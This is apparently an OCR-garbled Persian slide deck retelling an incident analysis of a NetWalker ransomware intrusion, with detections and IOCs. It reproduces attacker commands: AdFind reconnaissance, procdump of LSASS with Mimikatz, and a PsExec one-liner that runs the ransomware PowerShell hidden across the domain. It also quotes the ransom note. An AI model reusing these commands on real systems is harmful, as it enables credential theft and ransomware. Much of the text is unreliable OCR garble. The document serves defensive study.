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NetWalker Ransomware
in 1 Hour
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ol o yoas NetWalker 4 YoV Jlo 3l 4o Ll o oo b Mailto b

pbcss Koo (5,50 slaeg 5 .05 o Joe RaaS(ransomware-as-a-service) <G lgie a0 538120 oyl
OF 9 85 a8 oo Iy (g yisd 3 JUyn S & Ol 5l g iS00 (b 1) 6,52 w18 S 5 aiS
il 1) 12120 5 (o2 )law slaadins willys oo

2 arly olog)S g 05 oo JiSTy wisd o s | Sen plsie 4 45 g0 a0 slres S cnl 4 g
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https://www.zdnet.com/article/netwalker-ransomware-gang-has-made-25-million-since-
march-2020

A....S )y ‘) 2 61&% ‘NetWalker )90 4O )*w...s SledMs! 6‘)"
/https://labs.sentinelone.com/netwalker-ransomware-no-respite-no-english-required

https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-
threat-actor

/https://threatpost.com/netwalker-ransomware-29m-march/158036

https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf
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Exploitation

Yol 198.181.163[.]103 45 qyaiies Lol cau3,5 oonlis ale> o) 59a> 53 |, RDP 54,9 (pai Lo

o o wilonds o)lg b e 4y 39, u‘ wasl, G,La:lP ol b ol 00gs 3985 (] auo

» (IPVanish VPN

Bl ouples )3 IOCs

ol o 3l DomainName\Administrator olus 5l ssliiwl b Sasags

Command & Control

72 oSl ol gl s 50 Sy e a4y 0l [l cadgl 09,9 5l e 4i80 VP 0g0> €37.pST L
o LS o IS s Sl 2] LT 45 oS e Lo 95 s el 45 bl o 3,0 (glaSecs JLus

ROWRMET

5 M)GA )Jaa L) CObaIt Stnke w L.?:A.Q Lol gw‘ oD W s LE) w)i.J U"‘

A5b 5 SplinterRAT L Windshield ggl> el (S a5 ciS Thor (00,5 5ol T VirusTotal ;o

33
fun (
Py
g = ([AppDomain]::CurrentDom
)
zdspyiouy yrdt -
return §fargerstgfzdssretgfzdspyiouythgrdctlytdryrdt. Invoke ($nu
setr g.GetMethod(
)

pel t = [Void)

)
$hadifghsfyversgftinseryfsrejufgh =
$rtgeigfdhuresugfdxregred =

Fwewr
Stredrterterytrdytrdrtret =
§rgertxgsfdxsfdszrrazstsds =
§8Arinsdrkdfwsadkfdfawe fewarverwsdy =
hs 3faz

r -
+ $hsdjfghsfynersgftjuseryfsrejufgh +

yeuwhuh =

+ + +
egrazriwszer rtgz - + §shdgfihsdfyuwaefaefazsfdvewre +
§srgsretstesrtfsefgsertsertertsretasdsvad = + +

$skifdghkixzhgifig =
§dsthidszkiferyesyrerg = §skjfdaghkix: hq]!‘\q .
K §tdxhdtyhdrgxfgdtrgxtgergdrhgrxt =

atory = §True)] [Tvpe[]] $retsxvoxrzgfdxvgszrtgsritewgfdsretaret,

+ $rtgejgfdhuresugfdxrigred +

+ _§sfdsfdihrewgluysdesrgesrwewrewer +

+ §srasta

2 obfuscated
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Syl sl e Slolis F 5 Ge, Vol Gl ldS 5l e s> €37.ps]

DETECTION

AhnLab-V3

4 engines detected this file

detect-debug-environment

direct-cpu-clock-access long-base64 powershell

DETAILS BEHAVIOR COMMUNITY o

Bglo Ly 5 03,5 oS Cdge (5,658 plo G o 1) 095 a5 wis,S 1>l 1) €37.exe L o] oa 5o

WAl oo odmlice BB 5 o as cunl g0l slac bl uen 4 Neshta Jolss s 50b ol gl oo
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capa

&Bly 5o bacn! 590 2 a5 (1S uul awindlys Lo (@GaborSzappanos ;i s,k ¢ i Julos 5l e
Ngd oo Jate 173.232.146[.137 4 FFY &5 G,k 5l g on Cobalt Strike

destinationIp 173.232.146.37
destinationIsIpvée false
destinationPort 443
image CiviWindows\\System32\ \WindowsPowerShelly\w1.8\\powershell.exe
initiated true
processGuid {448b5829-bccB-5f4e-6202-660000661300 }
processId 91448
rotocol top

solizal (VFFFYTVAA o )led) (5,8 5 asliales 5 \WYYYYAFEYY sl s Cobalt Strike 5,

ly Jlail ol 20,8 G0 5l (i Lo cedlas 092 o @7 Gl 050 aloo (ISl gne b 4 5 WS e
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CERTIFICATE

Current Record

SHAA Gocebeced 192683d2dE84e25b0baVel4fBch7ebTc
Serial Number 146473198

lssued 2015-05-20

Expires 2025-05-17

Common Mame Unknown (subject)

Unknown (issuer)
Alternative Mames

Crganization Name Unknown (subject)
Unknown (issuer)

S5L Version 3

Crganization Unit Unknown (subject)
Unknown (issuer)

Street Address

Locality Unknown (subject)
Unknown (issuer)

State/Province Unknown (subject)
Unknown (issuer)

Country Unknown (subject)

Unknown (issuer)

I, aSlis Sl plaSd g oS 1>l Sandbox Lo i 0 1) €37.exe 4 €37.ps1 0,5 2w L
el o axiws Sandbox Evasion slacSuss Jols Beacon (! wuss oo bo a0 (pl a5 260 S5 lacss
1ol 00 03yl 1| digas dix
https://capesandbox.com/analysis/54494
https://app.any.run/tasks/4524fb0c-8e17-4255-8582-35b0e206ff3f
https://capesandbox.com/analysis/54493

i v 9 XMRig BazarBackdoor (poison {Neshta ;| 5 ie slaas Jols €37.exe 0l

Intezer «uis 4« CobaltStrike |
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Discovery

SMART INSTALL MAKER

3903 g auloays L3 1) o Sl ol Lo gy ons b, adf.bat ol 4y s Sl 5 L ol jon AdFind s

| adf.bat - Motepad
P

File Edit Feormat WView Help .
kd fd "C:\Users\SVC-DA~1\AppData’yLocal\Temp 18\ tmp%i\Downloads™
adfind.exe -f "(objectcategory=person)" > ad users.txt
adfind.exe -t "objectcategory=computer"” > ad_computers.txt
adfind.exe -sc trustdmp > trustdmp.txt

adfind.exe -subnets -f (objectlCategory=subnet):> subnets.txt
adfind.exe -gcb -sc trustdmp > trustdmp.txt

adfind.exe -sc domainlist » domainlist.txt

adfind.exe -sc dcmodes > dcmodes.txt

adfind.exe -sc adinfo » adinfo.txt

adfind.exe -sc dclist » dclist.txt

adfind.exe -sc computers pwdnotregd > computers pwdnotregd.txt

iz Ailes,S 5L 1 AdFINd lawgs  >g,5 tXE LB ais oyl a5 eucs INK Gl b1 ol 5l ol g5 oo Lo
Sleass b ADFINd l,>! 5l o sBs ips.log g domains.txt sla bl a5 pas ol o

' ‘ Securityworld.ir Challenginno.ir



3 jLy iy — gyl cillo> i 1S @

ourceCreated SourceModified LocalPath
8/ [202023:36 8/ /2020 23:36 C:\Users\ \Contacts\x64\mimikatz.log
8/ [202022:55 8/ /2020 22:59 C:\Users\ \Contacts\ips.log
8/ [202022:54 8/ /2020 22:54 C:\Users\ \Contacts\domains.txt
8/ [202022:43 8/ /2020 22:43 C:\Users) \Contacts\x64\AdFind_check\ad_computers.txt
8/ [202022:42 8/ /2020 22:42 C:\Users\ \Contacts\x64\AdFind_check\subnets. txt
8/ (202022:42 8/ /202022:42 C:\Users\ \Contacts\x64\AdFind_check\trustdmp.txt
8/ [202022:42 8/ /2020 22:42 C:\Users\ \Contacts\x64\AdFind_check\dclist.txt
8/ [202022:42 8/ /2020 22:43 C:\Users\ \Contacts\x6\AdFind_check
8/ [202022:42 8/ /2020 22:42 C:\Users\ \Contacts\x64\AdFind_check\computers_pwdnotreqd.txt
8/ [202022:39 8/ /2020 23:36 C:\Users\ \Contacts\x64
8/ 1202022:36 8/ /202022:36 C:\Users\ \Contacts\c37.psl
a8/ {202022:36 8/ (2020 22:59 C:\Users\ \Contacts

Cyo y09 ) SS9yl w55l 91— LECmd

s Copy sl p;olgws g as L Command Prompt G AdFind sl > 5l e aids i

Sloads ol Stws &ygo 4 b wileass Paste

nltest /declist:
net group "Domain Computers" /DOMAIN
net groups "Enterprise Admins" /domain

net user Administrator

21y =95 905 o Ping 1y domains.txt LG o sg>40 slehostname ol ;5 cwcd coos Sl oyl
1, IPVA g 00,5 Jlo)l PiNg <0 s wisS o eoliiwl Loyl a5 ol PING jgiws aun g oo ips.log L
Sl 5l eslatwl b YL AdFiNd jgiws 51 ob; Jlas! 4 domains.txt LG pl oS o L

ol 0wl Cews 4 domainlist
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Credential Access
I o388 Gl o0 1> procdumpbd.exe Ll ox daids S g o 1> Mimikatz
150,5 soliiwl ) Hgims 5l eoliiwl L 1SASS gy 0,5 cwls sl Procdump

procdump64.exe -ma Isass.exe Isass.dmp
sl ool alis sl e b g cusl ool bLols Delphi b o, oo s & procdumpb4 5,00 oyl

SilosiluS 1 jo 1) ol slafeadlygiws Lol ailaslo 1) Losgs asws o) ,53585 oy co Hlai 4 .8,l03

i Exeinfo PE - ver.0.0.5.3 by A.S.L - 1031+71 sign 2018.09.25 o >
File : |[procdumpé&4.exe | Sn @

Entry Point : < EPsecton: = Ll
3

File Offset : First Bytes : ww Plug

Linker Info : SubSystem : | \Windows GUI PE o
File Size :  [0005D8ASH <| »| overlay: [00053sA8 @ 3
7 -

=

Image is 32bit executable RES/OVL:1 [/ 89 % 1992 e

[Borland Delphi { 2.0 - 7.0 ) 1992 - www.borland.com , Overlay SBCSE] Scan ft Rip
Lamer Info - Help Hint - Unpack info 3

lNot packed , try OIIyDbg v2 - WWW. oIIydbg de or IDA v7 WWW. hex-fayl 9 3 ==

MPD

2 1yl Mimikatz wae aads O sgo

CcommandLine mimikatz.exe

company gentilkiwi (Benjamin DELPY)

currentDirectory Ci\iUsers\h O\ Contactsh x4y,
Hescription mimikatz for Windows

[fileVersion 2.2.8.8
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Lateral Movement

2UsS ©awe .o Domain Controller G s,ls RDP &, ,b 5l Credentials ;0,5 Cols 51 o 53545
23,5 1>l o1 o1, PsExec 4 P100119.ps1 dp.list.txt sla 16 DC ay oo yiiwss 51 oo

[ Smare wrewr TTarTage
,.5=- ¥ This PC » Local Disk (C:) » v | Search Local Di
Marne - Date modified Type
File folder
5 V File folder
Ces , Program Files File folder
| Program Files (x86) File folder
File folder
File folder
File folder
| Users File folder
File folder
, Windows File folder
= -Readme Text Docurmnent
|| ip-list.txt. File
| P100119 Windows Powers...
07 psexec Application

LS Lzl 05 B b oy oole! R AR YYS
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Objectives

Domain Administrator lsic @ lpiwew 4es 55, STl o cuai lp PSEXeC 51 Sasags
5! oolawl L NetWalker .s405 1,1 PowerShell ;i solainl U 1, 138120 payload . 55,5 oolacs!
Wl ool J.us;u «Wdg u.a)lj ubs’LQ 3 aS als ya.c- LSLQW“”‘“"‘“" tbLou Ay H9hwd

C:\psexec.exe @ip-list.txt -d cmd /c “(net use q: /delete /y &; net use Q:
\\DomainController\DomainName /user:DomainName\administrator
ThisWasThePassword &; powershell -ExecutionPolicy ByPass -NoLogo -NoProfile -
windowstyle hidden -NoExit -File g:\P100119.ps1”

il
Your files are encrypted.
A1l encrypted files for this computer has extension:

If for some reason you read this text before the encryption ended,

ithis can be understood by the fact that the computer slows down,

and your heart rate has increased due to the ability to turn it off,

ithen we recommend that you move away from the computer and accept that you have been compromised.
|Rebooting/shutdown will cause you to lose files without the possibility of recovery.

Our encryption algorithms are very strong and your files are very well protected,
ithe only way to get your files back is to cooperate with us and get the decrypter program.

Do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.

For us this is just business and to prove to you our seriousness, we will decrypt you one file for free.
Just open our website, upload the encrypted file and get the decrypted file for free.

dditionally, your data may have been stolen and if you do not cooperate with us, it will become publicly available on our blog

4 mount a share
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230,8 Cawlgz 10 (1 51 ) Y Sl Voo LGy, Y (b) Yo e 0 cél s sl NetWalker sla gl 5!

Payment | | Free decrypt | | FAQ | | Chat | | Logout |

Your files are encrypted.
Only way to decrypt your files, is buy the decrypter program.
Your user key: write it down and use it to log in again.
The svstem is fully automated. After payment vou will automatically be able to download the decrypter.

Invoice for payment [ You have left 5 days 23 hours 46 minutes 51 seconds Status: Waiting for payment

You can buy the decrypter program for your network.
The amount before the increase iz S00008 (4.21660000 BT C).

If there iz no payment before , the price will increaze by x2 times and will be 100000% (8.43320000 BTC)
Decrypter for: ALL NETWORK / ALL COMPUTERS / ALL FILES

Bitcom address: Amount for payment: 4.21660000 BTC
You payed: 0.00000000 BTC
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Timeline

NetWalker Ransomware

22:20 UTC

@
RDP Legin As Domain Administrator
22:36
@
c37 psl & c3Texe Executed
22:58
@

Procdump & Mimikatz Executed

22:41

AdFind Executed

22:43

RDP inte Demain Controller

22:55

PCR Script Executed

2315

PsExec Executed

23:25

All Domain Joined Systems
Ransomed
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Detections
ET POLICY PsExec service created
PSEXEC — g yw £950

https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creatio
n/win_psexesvc_start.yml

Procdump — ;I o5 95 o o0 Lasiw!

https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creatio
n/win_susp_procdump.yml

Mimikatz — ;I oolaiw!

https://github.com/Neo23x0/sigma/blob/master/rules/windows/builtin/win_aler
t_mimikatz_keywords.yml
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Lo odigy O AdFind )| oolail yaunSui

title: AdFind Recon

description: Threat Actor using AdFind for reconnaissance.
author: The DFIR Report

date: 2019/8/2

references:

- https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/
tags:

- attack.remote system discovery

- attack.T1018

logsource:

category: process_creation

product: windows

detection:

selection 1:

CommandLine | contains:

- adfind -f objectcategory=computer

selection 2:

CommandLine | contains:

- adfind -gcb -sc trustdmp

condition: selection 1 or selection 2

falsepositives:

- Legitimate Administrator using tool for Active Directory querying
level: medium

status: experimental

Yara rule for Mimikatz

https://github.com/gentilkiwi/mimikatz/blob/master/kiwi_passwords.yar
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10Cs
https://misppriv.circl.lu/events/view/73574

https://otx.alienvault.com/pulse/5f4c3eb15eade24eb5b43a49
c37.psl

8e030188e0d03654d5e7a7738a9d6a9%a
e0a37d0c26b351b789caffc8c90b968269982d
5536be48edeac8lad77aeade20b28ff8b72275832e6833f5e1b692eb99f312fd13

c37.exe

531c0c5e943863b00c7157c05603113a
caal8377e764a3a27c715b3d69ba2258ee4eb0b?2
4f7dd00a005caf046dd7e494fea25be2264974264d567edfc89122242b7c41bc

adf.bat

96e1849976d90425e74f075ed6bf8c30
1296a1f8887753ef87910b544727de76ce2adcch
e56d45628f0c2bda30ab235657704aac50a8433bdb4215c77a2e0f52f0f31a49

mimikatz.exe

5af5e3426926e551ed3acc5bead5each
e24a174fff19d873df0fa5eddd9ec534617ed9d7
f743c0849d69b5ea2f7eaf28831c86c1536¢cc27ae470f20e49223cbdba9c677c¢

pcr.bat

81c965ff526e7afd73c91543fee381a3
b9b83b17fd6d89807dcab7772b1416fa90cadb0e
ae431797c551c20fe2f3feladc08a566edfabf45abbd924f0c8da06381ab6e48

N
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P100119.ps1

0d890fc8e761b764ba3a04af07197e20
21cOed7abaafbfd14c777aa370f397e4351654a6
5ae06a8d117e876476832245039715825fbfbefc0d2463ab6c30295dd1d4afab

procdump64.exe

3b447099ca280dabd22d36f84ebfd3bb
49fd831a738b21eeOalb3b62cd15801abe8c32d5
6a511d4178d6d2f98f8af34311d0e15dc8dclc4b643e6943f056dabce242e70d

rodiun g — Cewl WIN32 APl wlgs ol (gol> (5390009 ¢ 16 S - Yara — embedded_win_api

nex
398 39, ,5 RDP (slasg g

e 184.58.243.205
e 173.239.199.73
e 176.126.85.39

e 198.181.163.103
e 141.98.81.191

e 03.179.69.154

e 173.232.146.37

https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour
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